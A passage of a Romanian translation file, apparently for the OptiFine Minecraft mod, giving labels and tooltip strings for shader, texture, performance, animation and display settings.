+of.options.shaders.RENDER_RES_MUL.tooltip.5=Calitatea render controleaza marimea texturii +of.options.shaders.RENDER_RES_MUL.tooltip.6=pe care shader-ul o randeaza. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Valorile mici pot fi folositoare pentru monitoarele 4K. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Valorile mari functioneaza ca un filtru antialiasing. + +of.options.shaders.SHADOW_RES_MUL=Calitate Umbra +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Calitate Umbra +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - mic (rapid) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - standard (implicit) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - mare (lent) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Calitatea umbrei controleaza marimea texturii umbrei +of.options.shaders.SHADOW_RES_MUL.tooltip.6=pe care shader-ul o foloseste. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Valori mici = imprecis, umbre aspre. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Valori mari = detaliat, umbre netede. + +of.options.shaders.HAND_DEPTH_MUL=Adancime Mana +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Adancime Mana +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - mana aproape de camera +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (implicit) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - mana departe de camera +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Adancimea mainii controleaza cat de departe +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=fata de camera sunt obiectele din mana. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Pentru shader-uri care folosesc adancimea blurata +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=ar trebuii sa schimbe blurarea obiectelor din mana. + +of.options.shaders.CLOUD_SHADOW=Umbre Nori + +of.options.shaders.OLD_HAND_LIGHT=Lumina Veche a Mainii +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Lumina Veche a Mainii +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Implicit - controlat de shader +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= ACTIV - foloseste lumina veche +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= OPRIT - foloseste lumina noua +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Lumina veche a mainii permite shader-ului care recunoaste +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=doar lumina emisa de obiectul din mana principala +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=sa functioneze si cu obiectele din mana secundara. + +of.options.shaders.OLD_LIGHTING=Lumina Veche +of.options.shaders.OLD_LIGHTING.tooltip.1=Lumina Veche +of.options.shaders.OLD_LIGHTING.tooltip.2= Implicit - controlat de shader +of.options.shaders.OLD_LIGHTING.tooltip.3= ACTIV - foloseste lumina veche +of.options.shaders.OLD_LIGHTING.tooltip.4= OPRIT - foloseste lumina noua +of.options.shaders.OLD_LIGHTING.tooltip.5=Lumina veche controleaza lumina fixa +of.options.shaders.OLD_LIGHTING.tooltip.6=folosita de vanilla pe fetele blocurilor. +of.options.shaders.OLD_LIGHTING.tooltip.7=Shader-ul care foloseste umbre de obicei furnizeaza +of.options.shaders.OLD_LIGHTING.tooltip.8=o mai buna luminare depinzand de pozitia soarelui. + +of.options.shaders.DOWNLOAD=Descarca Shadere +of.options.shaders.DOWNLOAD.tooltip.1=Descarca Shadere +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Deschide pagina cu shadere in browser. +of.options.shaders.DOWNLOAD.tooltip.4=Pune shader-ul descarcat in dosarul "Dosar Shadere" +of.options.shaders.DOWNLOAD.tooltip.5=si vor aparea in lista shadere-lor instalate. + +of.options.shaders.SHADER_PACK=Pachet Shader + +of.options.shaders.shadersFolder=Dosar Shadere +of.options.shaders.shaderOptions=Optiuni Shader... + +of.options.shaderOptionsTitle=Optiuni Shader + +of.options.quality=Calitate... +of.options.qualityTitle=Setari Calitate + +of.options.details=Detalii... +of.options.detailsTitle=Setari Detalii + +of.options.performance=Performanta... +of.options.performanceTitle=Setari Performanta + +of.options.animations=Animatii... +of.options.animationsTitle=Setari animatii + +of.options.other=Altele... +of.options.otherTitle=Alte Setari + +of.options.other.reset=Reseteaza Setarile Video... + +of.shaders.profile=Profil + +# Quality + +of.options.mipmap.bilinear=Biliniar +of.options.mipmap.linear=Liniar +of.options.mipmap.nearest=Apropiat +of.options.mipmap.trilinear=Triliniar + +options.mipmapLevels.tooltip.1=Efect vizual care face obiectele la distanta sa arate bine +options.mipmapLevels.tooltip.2=prin netezirea detaliilor texturii. +options.mipmapLevels.tooltip.3= OPRIT - fara netezire +options.mipmapLevels.tooltip.4= 1 - netezire minima +options.mipmapLevels.tooltip.5= 4 - netezire maxima +options.mipmapLevels.tooltip.6=Aceasta optiune de obicei nu afecteaza performanta. + +of.options.MIPMAP_TYPE=Tip Mip-maping +of.options.MIPMAP_TYPE.tooltip.1=Efect vizual care face obiectele la distanta sa arate bine +of.options.MIPMAP_TYPE.tooltip.2=prin netezirea detaliilor texturii. +of.options.MIPMAP_TYPE.tooltip.3= Apropiat - netezire aspra (foarte rapid) +of.options.MIPMAP_TYPE.tooltip.4= Liniar - netezire normala +of.options.MIPMAP_TYPE.tooltip.5= Biliniar - netezire fina +of.options.MIPMAP_TYPE.tooltip.6= Triliniar - netezire foarte fina (foarte lent) + + +of.options.AA_LEVEL=Antialiasing +of.options.AA_LEVEL.tooltip.1=Antialiasing +of.options.AA_LEVEL.tooltip.2= OPRIT - (implicit) fara antialiasing (rapid) +of.options.AA_LEVEL.tooltip.3= 2-16 - linii si margini fara crestare (lent) +of.options.AA_LEVEL.tooltip.4=Anti-aliasing-ul netezeste liniile crestate si +of.options.AA_LEVEL.tooltip.5=ascute tranzitiile culori. +of.options.AA_LEVEL.tooltip.6=Cand este ACTIV va scadea substantial si FPS-ul. +of.options.AA_LEVEL.tooltip.7=Nu toate nivelele sunt suportate de toate placile video. +of.options.AA_LEVEL.tooltip.8=Functioneaza dupa un RESTART! + +of.options.AF_LEVEL=Filtru Anisotropic +of.options.AF_LEVEL.tooltip.1=Filtru Anisotropic +of.options.AF_LEVEL.tooltip.2= OPRIT - (implicit) detali textura standard (rapid) +of.options.AF_LEVEL.tooltip.3= 2-16 - detalii fine in texturile mip-map (lent) +of.options.AF_LEVEL.tooltip.4=Filtru Anisotropic restaureaza detaliile in +of.options.AF_LEVEL.tooltip.5=texturile mip-map. +of.options.AF_LEVEL.tooltip.6=Cand este ACTIV va scadea substantial si FPS-ul. + +of.options.CLEAR_WATER=Apa Curata +of.options.CLEAR_WATER.tooltip.1=Apa Curata +of.options.CLEAR_WATER.tooltip.2= ACTIV - curat, apa transparenta +of.options.CLEAR_WATER.tooltip.3= OPRIT - apa implicita + +of.options.RANDOM_ENTITIES=Entitati Aleatoare +of.options.RANDOM_ENTITIES.tooltip.1=Entitati Aleatoare +of.options.RANDOM_ENTITIES.tooltip.2= OPRIT - fara entitati aleatoare, rapid +of.options.RANDOM_ENTITIES.tooltip.3= ON - entitati aleatoare, lent +of.options.RANDOM_ENTITIES.tooltip.4=Entitatile aleatoare foloseste texturi aleatoare pentru creaturile jocului. +of.options.RANDOM_ENTITIES.tooltip.5=Este necesar de un pachet de resurse ce foloseste multiple texturi pentru entitati. + +of.options.BETTER_GRASS=Gazon Imbunatatit +of.options.BETTER_GRASS.tooltip.1=Gazon Imbunatatit +of.options.BETTER_GRASS.tooltip.2= OPRIT - textura fetelor gazonului implicita, rapid +of.options.BETTER_GRASS.tooltip.3= Rapid - textura fetelor gazonului plina, lent +of.options.BETTER_GRASS.tooltip.4= Atractiv - textura fetelor gazonului dinamica, foarte lent + +of.options.BETTER_SNOW=Zapada Imbunatatita +of.options.BETTER_SNOW.tooltip.1=Zapada Imbunatatita +of.options.BETTER_SNOW.tooltip.2= OPRIT - zapada implicita, rapid +of.options.BETTER_SNOW.tooltip.3= ACTIV - zapada imbunatatita, lent +of.options.BETTER_SNOW.tooltip.4=Zapada sub blocurile transparente (gard, iarba) +of.options.BETTER_SNOW.tooltip.5=cand sunt invecinate cu blocuri de zapada. + +of.options.CUSTOM_FONTS=Fonturi Personalizate +of.options.CUSTOM_FONTS.tooltip.1=Fonturi Personalizate +of.options.CUSTOM_FONTS.tooltip.2= ACTIV - foloseste fonturi personalizate (implicit), lent +of.options.CUSTOM_FONTS.tooltip.3= OPRIT - foloseste fontul implicit, rapid +of.options.CUSTOM_FONTS.tooltip.4=Fonturile personalizate sunt furnizate de +of.options.CUSTOM_FONTS.tooltip.5=pachetul de resurse. + +of.options.CUSTOM_COLORS=Culori Personalizate +of.options.CUSTOM_COLORS.tooltip.1=Culori Personalizate +of.options.CUSTOM_COLORS.tooltip.2= ACTIV - foloseste culori personalizate (implicit), lent +of.options.CUSTOM_COLORS.tooltip.3= OPRIT - foloseste culori implicite, rapid +of.options.CUSTOM_COLORS.tooltip.4=Culorile personalizate sunt furnizate de +of.options.CUSTOM_COLORS.tooltip.5=pachetul de resurse. + +of.options.SWAMP_COLORS=Culorile Mlastinei +of.options.SWAMP_COLORS.tooltip.1=Culorile Mlastinei +of.options.SWAMP_COLORS.tooltip.2= ACTIV - foloseste culori mlastinei (implicit), lent +of.options.SWAMP_COLORS.tooltip.3= OPRIT - nu foloseste culori mlastinei, rapid +of.options.SWAMP_COLORS.tooltip.4=Culorile mlastinei afecteaza gazonul, frunzele, lianele si apa. + +of.options.SMOOTH_BIOMES=Biomuri Netede +of.options.SMOOTH_BIOMES.tooltip.1=Biomuri Netede +of.options.SMOOTH_BIOMES.tooltip.2= ACTIV - netezeste bordurile biomurilor (implicit), lent +of.options.SMOOTH_BIOMES.tooltip.3= OPRIT - fara netezire a bordurilor biomurilor, rapid +of.options.SMOOTH_BIOMES.tooltip.4=Netezirea bordurilor biomurilor este facuta de +of.options.SMOOTH_BIOMES.tooltip.5=media culorii blocurilor incojuratoare aflate in fiecare biom. +of.options.SMOOTH_BIOMES.tooltip.6=Afecteaza gazonul, frunzele, lianele si apa. + +of.options.CONNECTED_TEXTURES=Texturi Conectate +of.options.CONNECTED_TEXTURES.tooltip.1=CTexturi Conectate +of.options.CONNECTED_TEXTURES.tooltip.2= OPRIT - fara texturi conectate (implicit) +of.options.CONNECTED_TEXTURES.tooltip.3= Rapid - conecteaza texturile rapid +of.options.CONNECTED_TEXTURES.tooltip.4= Atractiv - conecteaza texturile elegant +of.options.CONNECTED_TEXTURES.tooltip.5=Texturile conectate ataseaza texturile sticlei, +of.options.CONNECTED_TEXTURES.tooltip.6=gresiei si a rafturilor cu carti cand sunt puse +of.options.CONNECTED_TEXTURES.tooltip.7=una langa alta. Texturile conectate sunt furnizate +of.options.CONNECTED_TEXTURES.tooltip.8=de pachetul de resurse curent. + +of.options.NATURAL_TEXTURES=Texturi Naturale +of.options.NATURAL_TEXTURES.tooltip.1=Texturi Naturale +of.options.NATURAL_TEXTURES.tooltip.2= OPRIT - fara texturi naturale (implicit) +of.options.NATURAL_TEXTURES.tooltip.3= ACTIV - foloseste texturi naturale +of.options.NATURAL_TEXTURES.tooltip.4=Texturile naturale elimina modelul de grid +of.options.NATURAL_TEXTURES.tooltip.5=creat de blocurilor repetate de acelasi tip. +of.options.NATURAL_TEXTURES.tooltip.6=Foloseste variante rotite si in oglinda a texturii +of.options.NATURAL_TEXTURES.tooltip.7=blocului. Configuratia pentru texturile naturale +of.options.NATURAL_TEXTURES.tooltip.8=sunt furnizate de pachetul de resurse curent. + +of.options.EMISSIVE_TEXTURES=Texturi Emissive #How should anyone translate this? +of.options.EMISSIVE_TEXTURES.tooltip.1=Texturi Emissive +of.options.EMISSIVE_TEXTURES.tooltip.2= OPRIT - fara texturi emissive (implicit) +of.options.EMISSIVE_TEXTURES.tooltip.3= ACTIV - foloseste texturi emissive +of.options.EMISSIVE_TEXTURES.tooltip.4=Texturile emissive sunt randate ca straturi +of.options.EMISSIVE_TEXTURES.tooltip.5=Pot fii folosite pentru a simula +of.options.EMISSIVE_TEXTURES.tooltip.6=parti care emit lumina la baza texturii. +of.options.EMISSIVE_TEXTURES.tooltip.7=Texturile emissive sunt furnizate de +of.options.EMISSIVE_TEXTURES.tooltip.8=pachetul de resurse curent. + +of.options.CUSTOM_SKY=Cer Personalizat +of.options.CUSTOM_SKY.tooltip.1=Cer Personalizat +of.options.CUSTOM_SKY.tooltip.2= ACTIV - texturi al cerului personalizate (implicit), lent +of.options.CUSTOM_SKY.tooltip.3= OPRIT - cer implicit, rapid +of.options.CUSTOM_SKY.tooltip.4=Cerul personalizat este furnizat de +of.options.CUSTOM_SKY.tooltip.5=pachetul de resurse curent. + +of.options.CUSTOM_ITEMS=Obiecte Personalizate +of.options.CUSTOM_ITEMS.tooltip.1=Obiecte Personalizate +of.options.CUSTOM_ITEMS.tooltip.2= ACTIV - texturi ale obiectelor personalizate (implicit), lent +of.options.CUSTOM_ITEMS.tooltip.3= OPRIT - texturi ale obiectelor implicite, rapid +of.options.CUSTOM_ITEMS.tooltip.4=Obiectele personalizate sunt furnizate de +of.options.CUSTOM_ITEMS.tooltip.5=pachetul de resurse curent. + +of.options.CUSTOM_ENTITY_MODELS=Modele Entitati Personalizate +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Modele Entitati Personalizate +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= ACTIV - modele entitati personalizate (implicit), lent +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= OPRIT - modele entitati implicite, rapid +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Modelele entitatilor personalizate sunt furnizate de +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=pachetul de resurse curent. + +of.options.CUSTOM_GUIS=GUI-uri Personalizate +of.options.CUSTOM_GUIS.tooltip.1=GUI-uri Personalizate +of.options.CUSTOM_GUIS.tooltip.2= ACTIV - GUI-uri personalizate (implicit), lent +of.options.CUSTOM_GUIS.tooltip.3= OPRIT - GUI-uri implicite, rapid +of.options.CUSTOM_GUIS.tooltip.4=GUI-urile personalizate sunt furnizate de pachetul de resurse curent. + +# Details + +of.options.CLOUDS=Nori +of.options.CLOUDS.tooltip.1=Nori +of.options.CLOUDS.tooltip.2= Implicit - setat prin setarea graficii. +of.options.CLOUDS.tooltip.3= Rapid - calitate mica, rapid +of.options.CLOUDS.tooltip.4= Atractiv - calitate mare, lent +of.options.CLOUDS.tooltip.5= OPRIT - fara nori, foarte rapid +of.options.CLOUDS.tooltip.6=Norii rapizi sunt redati 2D. +of.options.CLOUDS.tooltip.7=Norii atractivi sunt redati 3D. + +of.options.CLOUD_HEIGHT=Inaltime Nori +of.options.CLOUD_HEIGHT.tooltip.1=Inaltime Nori +of.options.CLOUD_HEIGHT.tooltip.2= OPRIT - inaltime implicita +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - deasupra inaltimitii limita a lumii. + +of.options.TREES=Copaci +of.options.TREES.tooltip.1=Copaci +of.options.TREES.tooltip.2= Implicit - setat prin setarea graficii. +of.options.TREES.tooltip.3= Rapid - calitate mica, rapid +of.options.TREES.tooltip.4= Destept - calitate mare, rapid +of.options.TREES.tooltip.5= Atractiv - calitate mare, lent +of.options.TREES.tooltip.6=Copacii rapizi au frunzele opace. +of.options.TREES.tooltip.7=Copacii atractivi si destepti au frunze transparente. + +of.options.RAIN=Ploaie si Zapada +of.options.RAIN.tooltip.1=Ploaie si Zapada +of.options.RAIN.tooltip.2= Implicit - setat prin setarea graficii. +of.options.RAIN.tooltip.3= Rapid - ploaie/zapada usoara, rapid +of.options.RAIN.tooltip.4= Atractiv - ploaie/zapada grea, lent +of.options.RAIN.tooltip.5= OPRIT - fara ploaie/zapada, foarte rapid +of.options.RAIN.tooltip.6=Cand ploaia este OPRITA stopii si sunetele ploii +of.options.RAIN.tooltip.7=raman inca active. + +of.options.SKY=Cer +of.options.SKY.tooltip.1=Cer +of.options.SKY.tooltip.2= ACTIV - cerul este vizibil, lent +of.options.SKY.tooltip.3= OPRIT - cerul nu este vizibil, rapid +of.options.SKY.tooltip.4=Cand cerul este OPRIT luna si soarele raman inca vizibile. + +of.options.STARS=Stele +of.options.STARS.tooltip.1=Stele +of.options.STARS.tooltip.2= ACTIV - stelele sunt vizibile, lent +of.options.STARS.tooltip.3= OPRIT - stelele nu sunt vizibile, rapid + +of.options.SUN_MOON=Soarele si Luna +of.options.SUN_MOON.tooltip.1=Soarele si Luna +of.options.SUN_MOON.tooltip.2= ACTIV - soarele si luna sunt vizibile (implicit) +of.options.SUN_MOON.tooltip.3= OPRIT - soarele si luna nu sunt vizibile (lent) + +of.options.SHOW_CAPES=Arata Cape +of.options.SHOW_CAPES.tooltip.1=Arata Cape +of.options.SHOW_CAPES.tooltip.2= ACTIV - arata capele jucatorilor (implicit) +of.options.SHOW_CAPES.tooltip.3= OPRIT - nu arata capele jucatorilor + +of.options.TRANSLUCENT_BLOCKS=Blocuri Transparente +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Blocuri Transparente +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Atractiv - amestecare corectă a culorii (implicit) +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Rapid - amestecarea rapida a culorii (rapid) +of.options.TRANSLUCENT_BLOCKS.tooltip.4=Controleaza amestecarea culorii blocurilor trasparente +of.options.TRANSLUCENT_BLOCKS.tooltip.5=cu diferite culori (sticla colorata, apa, gheata) +of.options.TRANSLUCENT_BLOCKS.tooltip.6=cand sunt puse una in spatele celelalte cu aer intre ele. + +of.options.HELD_ITEM_TOOLTIPS=Informatii Obiect Detinut +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Informatii Obiect Detinut +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= ACTIV - arata informatii despre obiectul detinut (implicit) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= OPRIT - nu arata informatii despre obiectul detinut + +of.options.ADVANCED_TOOLTIPS=Informatii Avansate +of.options.ADVANCED_TOOLTIPS.tooltip.1=Informatii Avansate +of.options.ADVANCED_TOOLTIPS.tooltip.2= ACTIV - arata informatii avansate +of.options.ADVANCED_TOOLTIPS.tooltip.3= OPRIT - nu arata informatii avansate (implicit) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Extinde informatiile despre +of.options.ADVANCED_TOOLTIPS.tooltip.5=obiecte (id, durabilitate) si optiunile shaderului +of.options.ADVANCED_TOOLTIPS.tooltip.6=(id, sursa, valori implicite). + +of.options.DROPPED_ITEMS=Obiecte Aruncate +of.options.DROPPED_ITEMS.tooltip.1=Obiecte Aruncate +of.options.DROPPED_ITEMS.tooltip.2= Implicit - setat prin setarea graficii. +of.options.DROPPED_ITEMS.tooltip.3= Rapid - obiecte aruncate 2D, rapid +of.options.DROPPED_ITEMS.tooltip.4= Fancy - obiecte aruncate 3D, lent + +options.entityShadows.tooltip.1=Umbre Entitati +options.entityShadows.tooltip.2= ACTIV - arata umbrele entitatilor +options.entityShadows.tooltip.3= OPRIT - nu arata umbrele entitatilor + +of.options.VIGNETTE=Vignette +of.options.VIGNETTE.tooltip.1=Efect vizual ce face colutile ecranului putin inchise. +of.options.VIGNETTE.tooltip.2= Implicit - setat prin setarea graficii (implicit) +of.options.VIGNETTE.tooltip.3= Rapid - vignette OPRIT (rapid) +of.options.VIGNETTE.tooltip.4= Atractiv - vignette ACTIV (lent) +of.options.VIGNETTE.tooltip.5=Vignette poate avea un efect semnificativ FPS-ului, +of.options.VIGNETTE.tooltip.6=in special jucat in ecran complet. +of.options.VIGNETTE.tooltip.7=Efectul vignette este foarte subtil si poate fi +of.options.VIGNETTE.tooltip.8=OPRIT fara probleme. + +of.options.DYNAMIC_FOV=Camp De Vizualizare +of.options.DYNAMIC_FOV.tooltip.1=Camp De Vizualizare +of.options.DYNAMIC_FOV.tooltip.2= ACTIV - activeaza campul de vizualizare (impilcit) +of.options.DYNAMIC_FOV.tooltip.3= OPRIT - dezactiveaza campul de vizualizare +of.options.DYNAMIC_FOV.tooltip.4=Schimba campul de vizualizare in timpul zborului, alergatului +of.options.DYNAMIC_FOV.tooltip.5=sau trasului cu arcul. + +of.options.DYNAMIC_LIGHTS=Lumini Dinamice +of.options.DYNAMIC_LIGHTS.tooltip.1=Lumini Dinamice +of.options.DYNAMIC_LIGHTS.tooltip.2= OPRIT - fara lumini dinamice (implicit) +of.options.DYNAMIC_LIGHTS.tooltip.3= Rapid - lumini dinamice rapide (actualizate fiecare 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Atractiv - lumini dinamice atractive (actualizate in timp real) +of.options.DYNAMIC_LIGHTS.tooltip.5=Activeaza obiectele luminoase (torte, piatra luminoasa, etc.) +of.options.DYNAMIC_LIGHTS.tooltip.6=sa emita lumina in jurul lor cand sunt tinute in mana, +of.options.DYNAMIC_LIGHTS.tooltip.7=echipate de alti jucatori sau aruncate pe pamant. + +# Performance + +of.options.SMOOTH_FPS=FPS-uri Constante +of.options.SMOOTH_FPS.tooltip.1=Stabilizeaza FPS-ul prin curatarea bufferelor placii grafice. +of.options.SMOOTH_FPS.tooltip.2= OPRIT - fara stabilizare, FPS-ul poate fluctua +of.options.SMOOTH_FPS.tooltip.3= ACTIV - FPS-ul stabilizat +of.options.SMOOTH_FPS.tooltip.4=Aceasta optiune este dependenta de placa grafica +of.options.SMOOTH_FPS.tooltip.5=si nu are mereu un efect vizibil. + +of.options.SMOOTH_WORLD=Lume Constanta +of.options.SMOOTH_WORLD.tooltip.1=Elimina lagul cauzat de serverul internal. +of.options.SMOOTH_WORLD.tooltip.2= OPRIT - fara stabilizare, FPS-ul poate fluctua +of.options.SMOOTH_WORLD.tooltip.3= ACTIV - FPS-ul stabilizat +of.options.SMOOTH_WORLD.tooltip.4=Stabilizeaza FPS-ul prin distribuirea incarcarii serverului internal. +of.options.SMOOTH_WORLD.tooltip.5=Are efect doar in lumine locale (single player). + +of.options.FAST_RENDER=Render Rapid +of.options.FAST_RENDER.tooltip.1=Render Rapid +of.options.FAST_RENDER.tooltip.2= OPRIT - render standard (implicit) +of.options.FAST_RENDER.tooltip.3= ACTIV - render optimizat (rapid) +of.options.FAST_RENDER.tooltip.4=Foloseste un algoritm optimizat pentru render care scade +of.options.FAST_RENDER.tooltip.5=incarcarea GPU-ului si substatinal creste FPS-ul. + +of.options.FAST_MATH=Matematica Rapida +of.options.FAST_MATH.tooltip.1=Matematica Rapida +of.options.FAST_MATH.tooltip.2= OPRIT - matematica standard (implicit) +of.options.FAST_MATH.tooltip.3= ACTIV - matematica rapida +of.options.FAST_MATH.tooltip.4=Foloseste functii sin() si cos() optimizate care +of.options.FAST_MATH.tooltip.5=utilizeaza cache-ul CPU-ului mai bine si creste FPS-ul. + +of.options.CHUNK_UPDATES=Actualizare Chunk-uri +of.options.CHUNK_UPDATES.tooltip.1=Actualizare Chunk-uri +of.options.CHUNK_UPDATES.tooltip.2= 1 - incarcarea lumii lenta, FPS mare (implicit) +of.options.CHUNK_UPDATES.tooltip.3= 3 - incarcarea lumii rapida, FPS mic +of.options.CHUNK_UPDATES.tooltip.4= 5 - incarcarea lumii foarte rapida, FPS foarte mic +of.options.CHUNK_UPDATES.tooltip.5=Numarul de actualizari ale chunk-urilor per frame rendate, +of.options.CHUNK_UPDATES.tooltip.6=valorile mari pot destabiliza rata de frameuri. + +of.options.CHUNK_UPDATES_DYNAMIC=Actualizari Dinamice +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Actualizari dinamice ale chunk-urilor +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= OPRIT - (implicit) actualizari standard ale chunk-urilor per frame +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= ACTIV - mai multe actualizari cand jucatorul sta nemiscat +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Actualizarile dinamice forteaza mai multe chunk-uri sa fie actualizate +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=cat timp jucatorul sta nemiscat pentru o mai buna incarcare a lumii. + +of.options.LAZY_CHUNK_LOADING=Chunk-uri Lenese +of.options.LAZY_CHUNK_LOADING.tooltip.1=Incarcare Lenesa a Chunk-urilor +of.options.LAZY_CHUNK_LOADING.tooltip.2= OPRIT - incarcarea implicita a chunk-urlor serverului +of.options.LAZY_CHUNK_LOADING.tooltip.3= ON - incarcarea lenesa a chunk-urlor serverului (lin) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Usureaza incarcarea chunk-urilor serverului +of.options.LAZY_CHUNK_LOADING.tooltip.5=distribuind chunk-urile peste cateva tick-uri. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Dezactiva-l daca parti ale lumii nu sunt incarcate corect. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Efectiv doar pentru lumile locale si pentru CPU-urile cu un singur nucleu. + +of.options.RENDER_REGIONS=Regiuni Render +of.options.RENDER_REGIONS.tooltip.1=Regiuni Render +of.options.RENDER_REGIONS.tooltip.2= OPRIT - (implicit) nu foloseste regiuni render +of.options.RENDER_REGIONS.tooltip.3= ACTIV - foloseste regiuni render +of.options.RENDER_REGIONS.tooltip.4=Regiunile render permite generarea terenului mai rapida +of.options.RENDER_REGIONS.tooltip.5=la distante mari. Mai efectiv cand VBO este activ. + +# Animations + +of.options.animation.allOn=Toate ACTIVE +of.options.animation.allOff=Toate OPRITE +of.options.animation.dynamic=Dinamic + +of.options.ANIMATED_WATER=Animatie Apa +of.options.ANIMATED_LAVA=Animatie Lava +of.options.ANIMATED_FIRE=Animatie Foc +of.options.ANIMATED_PORTAL=Animatie Portal +of.options.ANIMATED_REDSTONE=Animatie Redstone +of.options.ANIMATED_EXPLOSION=Animatie Explozie +of.options.ANIMATED_FLAME=Animatie Flacara +of.options.ANIMATED_SMOKE=Animatie Fum +of.options.VOID_PARTICLES=Particule de Void +of.options.WATER_PARTICLES=Particule de Apa +of.options.RAIN_SPLASH=Stopi de Ploaie +of.options.PORTAL_PARTICLES=Particule de Portal +of.options.POTION_PARTICLES=Particule de Potiuni +of.options.DRIPPING_WATER_LAVA=Picaturi de Apa/Lava +of.options.ANIMATED_TERRAIN=Teren Animat +of.options.ANIMATED_TEXTURES=Texturi Animate +of.options.FIREWORK_PARTICLES=Particule de Artificii + +# Other + +of.options.LAGOMETER=Lagometru +of.options.LAGOMETER.tooltip.1=Arata lagometrul in ecranul de debug (F3). +of.options.LAGOMETER.tooltip.2=* Portocaliu - Colectie de memorie gunoi +of.options.LAGOMETER.tooltip.3=* Cyan - Tick +of.options.LAGOMETER.tooltip.4=* Albastru - Programe executabile +of.options.LAGOMETER.tooltip.5=* Purpuriu - Incarcare chunk-uri +of.options.LAGOMETER.tooltip.6=* Rosu - Actualizare chunk-uri +of.options.LAGOMETER.tooltip.7=* Galben - Verificarea vizibilitatii +of.options.LAGOMETER.tooltip.8=* Verde - Teren rendat + +of.options.PROFILER=Debug Profiler +of.options.PROFILER.tooltip.1=Debug Profiler +of.options.PROFILER.tooltip.2= ACTIV - debug profiler este activ, lent +of.options.PROFILER.tooltip.3= OPRIT - debug profiler nu este activ, rapid +of.options.PROFILER.tooltip.4=Debug profiler colecteaza si arata informatii pentru +of.options.PROFILER.tooltip.5=debug cat timp ecranul de debug este deschis (F3). + +of.options.WEATHER=Stare Atmosferica +of.options.WEATHER.tooltip.1=Stare Atmosferica +of.options.WEATHER.tooltip.2= ACTIV - starea atmosferica este activa, lent +of.options.WEATHER.tooltip.3= OPRIT - starea atmosferica nu este activa, rapid +of.options.WEATHER.tooltip.4=Starea atmosferica controleaza ploaia si furtunile. +of.options.WEATHER.tooltip.5=Controlul starii atmosferice este posibila doar pentru lumile locale. + +of.options.time.dayOnly=Doar Zi +of.options.time.nightOnly=Doar Noapte + +of.options.TIME=Timp +of.options.TIME.tooltip.1=Timp +of.options.TIME.tooltip.2= Implicit - ciclu normal de zi/noapte +of.options.TIME.tooltip.3= Doar Zi - doar zi +of.options.TIME.tooltip.4= Doar Noapte - doar noapte +of.options.TIME.tooltip.5=Setarea timpului are efect doar in modul CREATIV +of.options.TIME.tooltip.6=si pentru lumile locale. + +options.fullscreen.tooltip.1=Ecran complet +options.fullscreen.tooltip.2= ACTIV - foloseste modul ecran complet +options.fullscreen.tooltip.3= OPRIT - foloseste modul fereastra +options.fullscreen.tooltip.4=Modul ecran complet poate fi mai rapid sau mai incet +options.fullscreen.tooltip.5=decat modul fereastra, in functie de placa grafica. + +of.options.FULLSCREEN_MODE=Modul Ecran Complet +of.options.FULLSCREEN_MODE.tooltip.1=Modul ecran complet +of.options.FULLSCREEN_MODE.tooltip.2= Implicit - foloseste rezolutia desktop-ului, lent +of.options.FULLSCREEN_MODE.tooltip.3= WxH - foloseste rezolutia personalizata, poate fi mai rapid +of.options.FULLSCREEN_MODE.tooltip.4=Rezolutia selectata este folosita in modul ecran complet (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Rezolutiile mici ar trebuii in general sa fie mai rapide. + +of.options.SHOW_FPS=Arata FPS +of.options.SHOW_FPS.tooltip.1=Arata FPS-ul compact si informatii despre render. +of.options.SHOW_FPS.tooltip.2= C: - chunk-uri rendate +of.options.SHOW_FPS.tooltip.3= E: - entitati rendate + entitati blocuri +of.options.SHOW_FPS.tooltip.4= U: - actualizari chunk-uri +of.options.SHOW_FPS.tooltip.5=Informatiile FPS-ului compat sunt vizibile doar cand +of.options.SHOW_FPS.tooltip.6=ecranul de debug nu este vizibil. + +of.options.save.default=Implicit (2s) +of.options.save.20s=20s +of.options.save.3min=3min +of.options.save.30min=30min + +of.options.AUTOSAVE_TICKS=Auto-Salvare 